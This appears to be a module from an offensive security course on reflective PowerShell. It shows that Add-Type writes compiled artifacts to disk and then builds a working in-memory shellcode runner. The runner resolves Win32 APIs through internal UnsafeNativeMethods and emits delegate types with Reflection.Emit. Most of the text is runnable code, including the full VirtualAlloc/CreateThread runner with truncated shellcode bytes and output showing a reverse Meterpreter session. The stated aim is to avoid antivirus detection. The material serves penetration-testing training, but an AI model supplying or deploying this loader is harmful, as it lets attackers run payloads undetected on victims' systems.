Vai al contenuto

7. Reflective PowerShell

In this Learning Module, we will cover the following Learning Units:

  • Classic PowerShell Tradecraft
  • Reflective PowerShell

As security professionals, we can use PowerShell to obtain initial code execution and use it in various ways during post-exploitation.

In this Module, we will discuss the drawbacks of PowerShell code that invokes Win32 APIs through the .NET framework and examine a more advanced and stealthy technique known as reflection.

7.1. Classic PowerShell Tradecraft

This Learning Unit covers the following Learning Objectives:

  • Understanding Classical PowerShell Shellcode Runners
  • Identifying .NET artifacts

In this Learning Unit, we will highlight the interaction between PowerShell and .NET and recap how to invoke .NET code from PowerShell with Add-Type. We will show that this process leaves artifacts on the hard drive that can be detected by antivirus programs.

7.1.1. PowerShell and .NET

The most common way to invoke .NET code from PowerShell is through the Add-Type keyword which allows us to compile .NET code at runtime.

In previous Modules we used this approach to declare imports for Win32 APIs and compile them into an object and then invoked the Win32 APIs through the object allowing us to create various tools including a shellcode runner.

Since our PowerShell shellcode runner does not write the shellcode to disk, it seems safe to assume that our code is fully executing from memory. However, when we run PowerShell code with Add-Type, the Visual C# Command-Line Compiler handles the compilation process and writes both the C# source code and the compiled C# assembly temporarily to disk. This leaves artifacts on the hard drive that antivirus programs can identify.

Let's demonstrate this with our prior PowerShell shellcode runner. We'll monitor file writes with SysInternals Process Monitor.

Let's open Process Monitor and navigate to Filter > Filter where we'll create a filter rule. Here's a filter for powershell_ise.exe file writes:

d0d170e125884ecb87727ac887ab2ed6.png

Figure 1: Process Monitor filter creation

We'll Add and Apply the filter and clear any old events by pressing C+x.

Next, we'll open PowerShell ISE and run the PowerShell shellcode runner. This lists many events including CreateFile, WriteFile, and CloseFile operations:

af7650164e9c790b2ea310ab5597fa66.png

Figure 2: Process Monitor output showing file operations

The file names used in these operations, including rtylilrr.0.cs and rtylilrr.dll, are interesting. While the filename itself is randomly generated, the file extensions suggest that both the C# source code and the compiled code have been written to the hard drive.

If our suspicion is correct, then the rtylilrr.dll assembly should be loaded into the PowerShell ISE process.

We can list loaded assemblies using the GetAssemblies method on the CurrentDomain object. This method is invoked through the static AppDomain class (using the [] format). We'll improve the readability of the output by piping it into the Sort-Object cmdlet, and sort by name with the -Property option. Finally, we'll pipe the result of the sort into Format-Table to list the output as a table.

Text Only
PS C:\Users\offsec> [appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname

FullName                                                                                                        
--------                                                                                                        
0bhoygtr, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null                                                 
Accessibility, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a                                
Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null               
MetadataViewProxies_092d3241-fb3c-4624-9291-72685e354ea4, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 
Microsoft.GeneratedCode, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null                                  
...   
PresentationFramework-SystemXml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089              
qdrje0cy, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null                                                 
r1b1e3au, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null                                                 
rtylilrr, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
...

Listing 1 - Assemblies loaded in the PowerShell ISE process

The rtylilrr file is loaded into the process. This reveals that PowerShell writes a C# source code file (.cs) to the hard drive, which is compiled into an assembly (.dll) and then loaded into the process.

This Add-Type code creates files that could trigger antivirus and halt our attack. We'll need to rebuild our PowerShell shellcode runner to avoid this.

7.2. Keep That PowerShell in Memory

This Learning Unit covers the following Learning Objectives:

  1. Dynamically locating Win32 APIs
  2. Dynamically defining Win32 API arguments
  3. Invoking Win32 APIs in memory

In this Learning Unit we will leverage the .NET framework to avoid the compilation process. This is a complex process, so we'll split our discussion into three steps. We'll locate a Win32 API in memory from .NET, define arguments for Win32 APIs and then invoke the Win32 API we located.

7.2.1. Leveraging UnsafeNativeMethods

In this section we will locate Win32 APIs in memory without using Add-Type. There are two primary ways to locate functions in unmanaged dynamic link libraries. The first technique is through linked imports, which is what our current technique relies on.

We can also use a dynamic lookup, a commonly used technique in low-level languages like assembly. Our goal with this technique is to create the .NET assembly in memory instead of writing code and compiling it. This is an invaluable technique, despite its complexity.

To perform a dynamic lookup of function addresses, the operating system provides two special Win32 APIs: GetModuleHandle and GetProcAddress.

GetModuleHandle obtains a handle to the specified DLL in the form of the DLL's memory address. To find the address of a specific function, we'll pass the DLL handle and the function name to GetProcAddress, which will return the function address. We can use these functions to locate any API, but we must invoke them without using Add-Type.

Since we cannot create any new assemblies, we'll try to locate existing assemblies we can reuse. We'll use this code to find assemblies that match our criteria:

Text Only
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

$Assemblies |
  ForEach-Object {
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Contains('Unsafe')
          }
      } 2> $null
    }

Listing 2 - Code to list and parse functions in loaded assemblies

To begin, we'll rely on GetAssemblies to search preloaded assemblies in the PowerShell process. Since each assembly is an object, we'll use the ForEach-Object cmdlet to loop through them. We'll then invoke GetTypes for each object through the $_ variable (which contains the current object) to obtain its methods and structures.

It stands to reason that we could search the preloaded assemblies for GetModuleHandle and GetProcAddress, but we can also narrow the search more specifically. When C# code needs to directly invoke Win32 APIs, it must use the Unsafe keyword. In addition, any functions that are invoked must be declared as static to avoid instantiation.

Knowing this, we'll perform yet another ForEach-Object loop on all the discovered objects and invoke the Get-Member cmdlet with the -Static flag to locate static properties or methods.

Caution

The ForEach-Object loop is an advanced version of the regular For loop and like other loops, it can be nested, although this may lead to performance issues.

Finally, we'll pipe these static properties and methods through the Where-Object cmdlet and since the TypeName contains meta information about the object, we'll filter any that contain the keyword Unsafe.

This should dump every function that satisfies our criteria. Let's run it and examine the output.

Text Only
...
 TypeName: Microsoft.Win32.UnsafeNativeMethods

Name                             MemberType Definition                                                                                                     
----                             ---------- ----------                                                                                                     
....                                
GetModuleFileName                Method     static int GetModuleFileName(System.Runtime.InteropServices.HandleRef hModule, System.Text.StringBuilder buf...
GetModuleHandle                  Method     static System.IntPtr GetModuleHandle(string modName)                                                           
GetNumberOfEventLogRecords       Method     static bool GetNumberOfEventLogRecords(System.Runtime.InteropServices.SafeHandle hEventLog, [ref] int count)   
GetOldestEventLogRecord          Method     static bool GetOldestEventLogRecord(System.Runtime.InteropServices.SafeHandle hEventLog, [ref] int number)     
GetProcAddress                   Method     static System.IntPtr GetProcAddress(System.IntPtr hModule, string methodName), static System.IntPtr GetProcA...
GetProcessWindowStation          Method     static System.IntPtr 
...

Listing 3 - Output from parsing loaded assemblies

This code generates an enormous amount of output. Searching for "GetModuleHandle" reveals 18 occurrences. One of them is in the Microsoft.Win32.UnsafeNativeMethods class as shown in the truncated output above.

We also notice that the same class contains GetProcAddress, our other required function. Let's try to identify which assembly contains these two functions.

To do this, we'll modify the parsing code to first print the current assembly location through the Location property and then inside the nested ForEach-Object loop, we will make the TypeName match Microsoft.Win32.UnsafeNativeMethods instead of listing all methods with the static keyword.

Here's the modified script:

Text Only
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

$Assemblies |
  ForEach-Object {
    $_.Location
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Equals('Microsoft.Win32.UnsafeNativeMethods')
          }
      } 2> $null
    }

Listing 4 - Locating the assembly in which GetModuleHandle and GetProcAddress are located

This reveals that the assembly is System.dll. This is reasonable since it's a common system library that contains fundamental content such as common data types and references.

Text Only
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll


   TypeName: Microsoft.Win32.UnsafeNativeMethods

Name                             MemberType Definition                                                      
----                             ---------- ----------                                                      
Equals                           Method     static bool Equals(System.Object objA, System.Object objB)      
ReferenceEquals                  Method     static bool ReferenceEquals(System.Object objA, System.Object...
C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ISECommon\v4.0_3.0.0.0__31bf3856ad364e35\Micr
osoft.PowerShell.ISECommon.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
ClearEventLog                    Method     static bool ClearEventLog(System.Runtime.InteropServices.Safe...
CreateWindowEx                   Method     static System.IntPtr CreateWindowEx(int exStyle, string lpszC...
DefWindowProc                    Method     static System.IntPtr DefWindowProc(System.IntPtr hWnd, int ms...
DestroyWindow                    Method     static bool DestroyWindow(System.Runtime.InteropServices.Hand...
DispatchMessage                  Method     static int DispatchMessage([ref] Microsoft.Win32.NativeMethod...
Equals                           Method     static bool Equals(System.Object objA, System.Object objB)      
GetClassInfo                     Method     static bool GetClassInfo(System.Runtime.InteropServices.Handl...
GetDC                            Method     static System.IntPtr GetDC(System.IntPtr hWnd)                  
GetFileVersionInfo               Method     static bool GetFileVersionInfo(string lptstrFilename, int dwH...
GetFileVersionInfoSize           Method     static int GetFileVersionInfoSize(string lptstrFilename, [ref...
GetModuleFileName                Method     static int GetModuleFileName(System.Runtime.InteropServices.H...
GetModuleHandle                  Method     static System.IntPtr GetModuleHandle(string modName)            
GetNumberOfEventLogRecords       Method     static bool GetNumberOfEventLogRecords(System.Runtime.Interop...
GetOldestEventLogRecord          Method     static bool GetOldestEventLogRecord(System.Runtime.InteropSer...
GetProcAddress                   Method     static System.IntPtr GetProcAddress(System.IntPtr hModule, st...
...

Listing 5 - Locating the assembly in which GetModuleHandle and GetProcAddress are located

However, these methods are only intended for internal use by .NET code. This blocks us from calling them directly from PowerShell or C#.

To solve this issue, we must develop a way that allows us to call it indirectly. This requires us to use multiple techniques that will lead us down a deep rabbit hole.

The first step is to obtain a reference to these functions. To do that, we must first obtain a reference to the System.dll assembly using the GetType method.

This reference to the System.dll assembly will allow us to subsequently locate the GetModuleHandle and GetProcAddress methods inside it.

The filtering is not straightforward. Here's the code we will use:

Text Only
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })

$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

Listing 6 - Obtaining a reference to the System.dll assembly

First, we pipe all the assemblies into Where-Object and filter on two conditions. The first is whether the GlobalAssemblyCache property is set. The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies.

Next, we'll filter for "System.dll" in the last part of its file path as obtained through the Location property. Recall the full file path we found:

Text Only
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll

Listing 7 - The full path to the System.dll assembly

We'll Split the Location property into an array based on the directory delimiter (\).

Finally, we'll select the last element of the split string array with the "-1" index and check if it is equal to "System.dll".

Using GetType to obtain a reference to the System.dll assembly at runtime is an example of the Reflection technique. This is a very powerful feature that allows us to dynamically obtain references to objects that are otherwise private or internal.

We'll use this technique once again with the GetMethod function to obtain a reference to the internal GetModuleHandle method:

Text Only
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })

$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

Listing 8 - Obtaining a reference to GetModuleHandle through reflection

Executing the combined code returns the method object from the System.dll assembly, even though it is an internal method.

We can now use the internal Invoke method to call GetModuleHandle and obtain the base address of an unmanaged DLL.

As shown in Listing 9, Invoke takes two arguments, both of which are objects. The first argument is the target object for the invocation, but since we are calling a static method, we can set it to "$null". The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API takes the name of the DLL as a string, we only need to supply that.

As a proof of concept, let's resolve user32.dll, so that we can call the basic Win32 API MessageBox.

Text Only
$GetModuleHandle.Invoke($null, @("user32.dll"))

Listing 9 - Calling GetModuleHandle through reflection

Here's the associated output:

Text Only
PS C:\Users\offsec> $GetModuleHandle.Invoke($null, @("user32.dll"))
140727169908736

Listing 10 - Invoking GetModuleHandle on user32.dll and obtaining its base address

To verify that the lookup worked, let's translate 140727169908736 to its hexadecimal equivalent of 0x7FFD98F90000 and open Process Explorer.

In Process Explorer, we'll select the PowerShell ISE process. We'll navigate to View > Lower Pane View > DLLs, locate user32.dll in the new sub window and double-click it. In the properties window, we can compare the resolved value to the Load Address:

246c7cd43cc6808faec1e4d776790540.png

Figure 3: Loaded address of user32.dll obtained from Process Explorer

By using GetModuleHandle to identify the correct DLL base address, we are more confident in the potential usefulness of this approach. Next, we need to locate GetProcAddress to resolve arbitrary APIs.

We'll use reflection through GetMethod to locate GetProcAddress just as we did for GetModuleHandle. We'll again use GetMethod on the $unsafeObj variable that contains the reference to Win32.UnsafeNativeMethods in System.dll. Unfortunately, it produces an exception with an "Ambiguous match found" error message.

Text Only
PS C:\Users\offsec> $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:1 char:1
+ $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : AmbiguousMatchException

Listing 11 - Error when trying to locate GetProcAddress

The error message tells us exactly what the problem is. There are multiple instances of GetProcAddress within Microsoft.Win32.UnsafeNativeMethods. So, instead of GetMethod, we can use GetMethods to obtain all methods in Microsoft.Win32.UnsafeNativeMethods and then filter those named GetProcAddress through a ForEach-Object loop with a comparison condition on the Name property of the method. If the output matches GetProcAddress, it is printed. This will reveal each occurrence of GetProcAddress inside Microsoft.Win32.UnsafeNativeMethods.

Text Only
PS C:\Users\offsec> $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}


Name                       : GetProcAddress
DeclaringType              : Microsoft.Win32.UnsafeNativeMethods
ReflectedType              : Microsoft.Win32.UnsafeNativeMethods
MemberType                 : Method
MetadataToken              : 100663839
Module                     : System.dll
IsSecurityCritical         : True
IsSecuritySafeCritical     : True
IsSecurityTransparent      : False
MethodHandle               : System.RuntimeMethodHandle
Attributes                 : PrivateScope, Public, Static, HideBySig, PinvokeImpl
CallingConvention          : Standard
ReturnType                 : System.IntPtr
...

Name                       : GetProcAddress
DeclaringType              : Microsoft.Win32.UnsafeNativeMethods
ReflectedType              : Microsoft.Win32.UnsafeNativeMethods
MemberType                 : Method
MetadataToken              : 100663864
Module                     : System.dll
IsSecurityCritical         : True
IsSecuritySafeCritical     : True
IsSecurityTransparent      : False
MethodHandle               : System.RuntimeMethodHandle
Attributes                 : PrivateScope, Public, Static, HideBySig, PinvokeImpl
CallingConvention          : Standard
ReturnType                 : System.IntPtr
...

Listing 12 - Using Methods to locate all instances of GetProcAddress

With two results, we can simply create an array to hold both instances and then use the first to resolve the function's address, which in our case is MessageBoxA:

Text Only
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

Listing 13 - Resolving the address of MessageBoxA

In this code, $user32 contains the previously found base address of user32.dll. We create an empty array to store both GetProcAddress instances, after which we repeat the ForEach-Object loop to search for Microsoft.Win32.UnsafeNativeMethods. Once found, we append them to the array.

We'll assign the first element of the array to the $GetProcAddress variable and we can now use that to find the location of MessageBoxA through the Invoke method. Since the C version of GetProcAddress takes both the base address of the DLL and the name of the function, we'll supply both as arguments in the array.

Let's execute this to find out if it works.

Text Only
PS C:\Users\offsec> $systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

140727170409088

Listing 14 - Address of MessageBoxA is found

When we execute the function, it reveals a decimal value, which, when translated to hexadecimal (0x7FFD9900A280) appears to be inside user32.dll. It appears our efforts have paid off. We have resolved the address of an arbitrary Win32 API.

Now, to make our code more portable and compact, let's rewrite the PowerShell script into a method, which will allow us to reference it multiple times.

Text Only
function LookupFunc {

    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

Listing 15 - Lookup function to resolve any Win32 API

With the techniques developed in this section, we have managed to implement a function that can resolve any Win32 API without using the Add-Type keyword while avoiding a disk write.

In the next section, we'll match the address of the Win32 API that we have located with its arguments and return values.

7.2.2. DelegateType Reflection

Now that we can resolve addresses of Win32 APIs, we must define the argument types.

We must pair the number of arguments and their associated data types with the resolved function memory address. We can do this in C# with the GetDelegateForFunctionPointer method. This method takes two arguments, including the memory address of the function, and the function prototype represented as a type.

In C#, a function prototype is known as a Delegate or delegate type. Here's a declaration creating the delegate type for MessageBox:

Text Only
int delegate MessageBoxSig(IntPtr hWnd, String text, String caption, int options);

Listing 16 - Declaring function prototype in C#

Unfortunately, there is no equivalent to the delegate keyword in PowerShell, so we need to approach this in a different way. Fortunately, in an old blog post from 2004, Microsoft described how to create a delegate using reflection.

As we know from our usage of Add-Type, the delegate type is created when the assembly is compiled, but in this case, we will manually create an assembly in memory and populate it with content.

The first step is to create a new assembly object through the AssemblyName class and assign it a name like ReflectedDelegate. We do this by creating a new $MyAssembly variable and setting it to the ReflectedDelegate instantiated assembly object.

Text Only
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')

Listing 17 - Creating a custom assembly object in memory

Before we populate the assembly, we must configure its access mode. This is an important permission, because we want it to be executable and not saved to disk. We can achieve this through the DefineDynamicAssembly method, by first supplying the custom assembly name. We'll then set it as executable by supplying the Run access mode value defined in the System.Reflection.Emit.AssemblyBuilderAccess namespace as the second argument.

Text Only
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, 
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

Listing 18 - Setting the access mode of the assembly to Run

Now that we've set the permissions on the assembly, we can start creating content. The main building block of an assembly is a Module. We can create a Module with the DefineDynamicModule method. We'll supply a custom name for the module and tell it not to include symbol information.

Text Only
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

Listing 19 - Creating a custom module inside the assembly

Now we can create a custom type that will become our delegate type. We can do this with the DefineType method.

To do this, we need to set three arguments. The first is the custom name, in our case MyDelegateType. The second is the combined list of attributes for the type.

In our case, we must specify the type to be a class (so we can later instantiate it), set it to public and non-extendable, and use ASCII instead of Unicode. The attributes then become Class, Public, Sealed, AnsiClass, and AutoClass.

As a third argument, we must specify the type it builds on top of. We choose the MulticastDelegate class to create a delegate type with multiple entries which will allow us to call the target API with multiple arguments.

Here is the code for defining the custom type:

Text Only
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 
  'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

Listing 20 - Creating a custom type in the assembly

Finally, we are ready to put the function prototype inside the type and let it become our custom delegate type.

Text Only
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
  'RTSpecialName, HideBySig, Public', 
    [System.Reflection.CallingConventions]::Standard, 
      @([IntPtr], [String], [String], [int]))

Listing 21 - Creating a constructor for the custom delegate type

Let's review what we have here.

First, we define the constructor through the DefineConstructor method, which takes three arguments.

The first argument contains the attributes of the constructor itself, defined through MethodAttributes Enum. We must make it public here, referenced by both name and signature. To do this, we chose RTSpecialName, HideBySig, and Public.

The second argument is the calling convention for the constructor, which defines how arguments and return values are handled by the .NET framework. In our case, we choose the default calling convention by specifying the enum value [System.Reflection.CallingConventions]::Standard.

In the last argument, we finally come to the crux of our work where we define the parameter types of the constructor that will become the function prototype.

The complete call to DefineConstructor integrates the constructor attributes, specifies the calling convention for the constructor, and includes the function arguments for MessageBoxA (which we previously discussed) provided as an array.

Now that the constructor is created, we must call it. But before we can do that, we must set a couple of implementation flags with the SetImplementationFlags method using values outlined in MethodImplAttributes Enum. We choose Runtime and Managed since it is used at runtime and is managed code.

Text Only
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

Listing 22 - Setting implementation flags for the constructor

We're now ready to call the constructor. To specify the delegate type when calling a function in the .NET framework, we must define the Invoke method.

We'll use DefineMethod to create and specify the settings for the Invoke method.

DefineMethod takes four arguments. The first is the name of the method to define, which in our case is "Invoke". The second argument includes method attributes taken from the MethodAttributes Enum. In our case, we choose Public to make it accessible, HideBySig to allow it to be called by both name and signature, NewSlot, and Virtual to indicate that the method is virtual and to ensure that it always gets a new slot in the vtable.

As the third argument, we specify the return type of the function, which for MessageBoxA is [int]. The fourth argument is an array of argument types that we already identified when we first introduced MessageBox.

The setup of the Invoke method puts together the four arguments described above and supplies them to DefineMethod.

Text Only
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 
  'Public, HideBySig, NewSlot, Virtual', 
    [int], 
      @([IntPtr], [String], [String], [int]))

Listing 23 - Defining and configuring the Invoke method

As with the constructor, we set the implementation flags to enable calling the Invoke method. This is done after it is defined through the SetImplementationFlags method.

To instantiate the delegate type, we call our custom constructor through the CreateType method.

Text Only
$MyDelegateType = $MyTypeBuilder.CreateType()

Listing 24 - Calling the constructor on the delegate type

After all this effort, we finally have a delegate type to use in our call to GetDelegateForFunctionPointer. Combining all the pieces along with the resolved memory address of MessageBoxA, we can call a Win32 native API without using Add-Type.

To review, we repeat the LookupFunc method that resolves the Win32 API address and use that to locate the address of MessageBoxA. Then we create the DelegateType. Finally, we call GetDelegateForFunctionPointer to link the function address and the DelegateType and invoke MessageBox.

The final code is shown in Listing 25).

Text Only
function LookupFunc {

    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

$MessageBoxA = LookupFunc user32.dll MessageBoxA
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, 
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 
  'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
  'RTSpecialName, HideBySig, Public', 
    [System.Reflection.CallingConventions]::Standard, 
      @([IntPtr], [String], [String], [int]))
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 
  'Public, HideBySig, NewSlot, Virtual', 
    [int], 
      @([IntPtr], [String], [String], [int]))
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
$MyDelegateType = $MyTypeBuilder.CreateType()

$MyFunction = [System.Runtime.InteropServices.Marshal]::
    GetDelegateForFunctionPointer($MessageBoxA, $MyDelegateType)
$MyFunction.Invoke([IntPtr]::Zero,"Hello World","This is My MessageBox",0)

Listing 25 - Using reflection to call a Win32 API without Add-Type

Very Nice! A simple "Hello World" prompt shows we were successful!

Next, we can use our newly developed technique to create a shellcode runner and eventually execute it through a Word macro.

7.2.3. Reflection Shellcode Runner in PowerShell

Now we can leverage this powerful PowerShell reflection technique to invoke Win32 APIs from code that executes entirely in memory. Let's translate our simple proof-of-concept into a full-fledged shellcode runner.

Since we are going to call three different Win32 APIs (VirtualAlloc, CreateThread, and WaitForSingleObject), we'll rewrite the portion of code that creates the delegate type into a function so we can call it multiple times.

We'll also slim down the code, eliminating unneeded variables to produce the smallest and most efficient code possible.

We've named this function getDelegateType, and it accepts two arguments including the function arguments of the Win32 API given as an array and its return type. Our previous code is built into three blocks. The first block creates the custom assembly and defines the module and type inside of it. The second block sets up the constructor, and the third sets up the invoke method. Finally, we invoke the constructor, and the delegate type is returned to the caller.

Here's the complete code:

Text Only
function getDelegateType {

    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

Listing 26 - Method wrapper to create a delegate type

Together with LookupFunc, we'll resolve and call VirtualAlloc using the same arguments as in the previous cases. We'll use LookupFunc to search Kernel32.dll for the Win32 VirtualAlloc API:

Text Only
$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
$VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

Listing 27 - Resolving and calling VirtualAlloc through reflection

This code uses our LookupFunc and getDelegateType functions to allocate a memory buffer. While the code works, we could optimize it and condense it to remove unneeded variables.

This optimized version embeds the calls to LookupFunc and getDelegateType in the call to GetDelegateForFunctionPointer:

Text Only
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

Listing 28 - Condensed version of resolving and calling VirtualAlloc

Next, we'll generate the shellcode in ps1 format and copy it using the .NET Copy method:

Text Only
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0...

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

Listing 29 - .NET Copy method

The shellcode and copy operation are identical to the Add-Type version of our shellcode runner. Next, we can create a thread and call WaitForSingleObject to block PowerShell from terminating.

In this condensed syntax, VirtualAlloc, CreateThread, and WaitForSingleObject are all resolved and called exactly as they were before.

Here's the full shellcode runner with the omitted LookupFunc and getDelegateType functions:

Text Only
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Listing 30 - PowerShell reflection-based shellcode runner

This produces the following output:

Text Only
[*] Started HTTPS reverse handler on https://192.168.119.50:443
[*] https://192.168.119.50:443 handling request from 192.168.120.10; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.50:443 -> 192.168.120.10:49678)

meterpreter > 

Listing 31 - Reverse Meterpreter shell executed from the reflective PowerShell shellcode runner

Excellent! The code is working, and we have a reverse shell.

In addition, Process Monitor verifies that a .cs file was not written to the file system, nor was it subsequently compiled.

26c64cf2290c3011cb308502f3c1d497.png

Figure 4: Process Monitor showing that no .cs files were written to disk and compiled

Excellent! We've created a PowerShell shellcode runner that executes entirely in memory.

7.3. Wrapping Up

